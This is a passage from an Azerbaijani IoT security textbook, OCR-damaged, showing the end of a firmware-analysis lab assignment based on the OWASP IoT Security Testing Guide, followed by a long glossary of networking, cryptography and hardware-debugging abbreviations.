o Binwalk vo Ghidra istifads edorok cihazin proqram tominatini analiz
edin.
o Firmware-Mod-Kit ilo proqram tominatinda doyisikliklor edarok
tohliikasizlik zoaifliklorini aragdirin.
o 10T cihazinin boot prosesini vo miimkiin root hiiquglarin1 olds etmo
yollarini arasdirin.
5. Tahliikasizlik Todbirlorinin Toklif Edilmasi
o Askar edilon zoiflikloro qarst OWASP IoT Security Testing Guide
osasinda uygun miidafio mexanizmlorini totbiq edin.
o loT cihazlarimin tohliikasizliyini artirmaq licin  OWASP ISTG
tovsiyalorini totbiq edin.
Qeyd: Bu laboratoriya isi OWASP 10T Security Testing Guide (ISTG)
metodlaria asaslanir vo [oT cihazlariin tohliikssizliyini qiymetlondirmak ii¢iin real
test ssenarilorini ohato edir.
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Qisaldilmalar

IoT — Osyalarin Interneti (Internet of Things)

M2M — Masindan Masgina ©lago (Machine to Machine)

CPS — Kiber-Fiziki Sistemlor (Cyber-Physical Systems)

IIoT — Sonaye Osyalarm Interneti (Industrial Internet of Things)

AR — Artirllmis Realliq (Augmented Reality)

VR — Virtual Realliq (Virtual Reality)

AWS — Amazon Veb Xidmaotlori (Amazon Web Services)

MQTT — Mesaj Novbosi Telemetriya Protokolu (Message Queuing Telemetry
Transport)

CoAP — Mbohdudlagdirilmis Totbiq Protokolu (Constrained Application
Protocol)

XMPP — Genislonobilon Mesaj vo Movcudluqg Protokolu (Extensible
Messaging and Presence Protocol)

IPsec — Internet Protokolu Tohliikasizliyi (Internet Protocol Security)

DTLS — Datagram Noqliyyat Qat1 Tohliikasizliyi (Datagram Transport Layer
Security)

HIP — Host Kimlik Protokolu (Host Identity Protocol)

REST — Reprezentativ Voziyyot Transferi (Representational State Transfer)
RFID — Radio Tezlik identifikasiyas1 (Radio Frequency Identification)
BLE — Asag1 Enerjili Bluetooth (Bluetooth Low Energy)

WBAN - Simsiz Bodon Sahosi Sobokosi (Wireless Body Area Network)

LR-WPAN — Asagi Siiratli Soxsi Simsiz Soboko (Low-Rate Wireless Personal
Area Network)

NB-IoT — Darzolagli Osyalarm Interneti (Narrowband IoT)

ECC — Elliptik Oyri Kriptoqrafiyasi (Elliptic Curve Cryptography)

DH - Diffie-Hellman Acgar Miibadilosi (Diffie-Hellman)

HMAC - Hoslonmis Mesaj Dogrulama Kodu (Hashed Message
Authentication Code)

CBC-MAC - Sifro Bloku Zoncirlomos Mesaj Dogrulama Kodu (Cipher Block
Chaining Message Authentication Code)

TLS — Nogliyyat Qat1 Tohliikasizliyi (Transport Layer Security)

SSL — Toahliikasiz Soket Qat1 (Secure Sockets Layer)
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VPN — Virtual Ozal Soboka (Virtual Private Network)

PKI — ictimai Acar Infrastruktur (Public Key Infrastructure)

SIoT — Sosial Osyalarin Interneti (Social Internet of Things)

6LoWPAN — Asagi Enerjili Soxsi Sobokoalords IPv6 (IPv6 over Low Power
Wireless Personal Area Networks)

DDoS — Paylanmis Xidmotin Inkari Hiicumu (Distributed Denial of Service)

MITM - Ortada Adam Hiicumu (Man-in-the-Middle)

FIPS — Federal Informasiya Emali Standartlari (Federal Information
Processing Standards)

DoS — Xidmeotin Inkari Hiicumu (Denial of Service)

NIST — Standartlar va Texnologiya iizro Milli Institut (National Institute of
Standards and Technology)

CA — Sertifikat Avtoriteti (Certificate Authority)

CN — Klaster Diiylinii (Cluster Node)

CH — Klaster Rohbori (Cluster Head)

ECQYV — Elliptik Oyri Qu-Vanstone Sertifikat1 (Elliptic Curve Qu-Vanstone)

MAC — Mesaj Dogrulama Kodu (Message Authentication Code)

PoW — Is Siibutu (Proof of Work)

PoS — Sohm Siibutu (Proof of Stake)

OWASP — Aciq Veb Totbiq Tohliikasizlik Layihoasi (Open Web Application
Security Project)

ISTG — Osyalarm Interneti Tohliikasizlik Test Balodgisi (IoT Security Testing
Guide)

API — Totbiq Proqramlasdirma Interfeysi (Application Programming
Interface)

PDA — Soxsi Rogomsal Komokgi (Personal Digital Assistant)

NFC — Yaxin Saho ©lagoasi (Near Field Communication)

RF — Radio Tezlik (Radio Frequency)

UART - Universal Asinxron Qabuledici-Verici (Universal Asynchronous
Receiver-Transmitter)

SPI — Serial Periferik Interfeys (Serial Peripheral Interface)

12C — Inteqrasiya Olunmus Devre Interfeysi (Inter-Integrated Circuit)

JTAG — Birlosmis Test Foaliyyot Qrupu (Joint Test Action Group)

GDB — GNU Debugger Aloti (GNU Debugger)

ELF — Icra Olunan vo Link Edilo Bilon Format (Executable and Linkable
Format)
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NVRAM - Ucgucu Olmayan Tasadiifi Giris Yaddasi (Non-Volatile Random-
Access Memory)

SoC — Cip Uzarinds Sistem (System on Chip)

GPIO — Umumi Magsadli Giris/Cixis (General Purpose Input/Output)
SDK — Program Tominati Hazirlama Paketi (Software Development Kit)
FAT — Firmware Tohlil Vasito Paketi (Firmware Analysis Toolkit)

FMK - Firmware Dayisdirma Alat Daosti (Firmware Mod Kit)

QEMU - Siiratli Emulyator (Quick Emulator)

BusyBox — Yigcam UNIX Alstlor Toplusu (BusyBox)

Binwalk — Firmware Analiz vo Cixarma Vasitasi (Binwalk)

SquashFS — Sixilmig Fayl Sistemi Formati (Squash File System)

U-Boot — Universal Boot Yiikloyici (Universal Bootloader)

NAND — NAND Tipli Flash Yaddas (Not AND)

MTD - Yaddas Texnologiyas1 Qurgusu (Memory Technology Device)
Rootfs — Osas Fayl Sistemi (Root File System)

Bind Shell — TCP Port {izorindon Shell Baglantis1 Qurmagq iigiin Proqram
Telnet — Motn Osasli Uzaqdan Idarsetmoa Protokolu

TTY — Terminal interfeysi Sistemi (Teletype)
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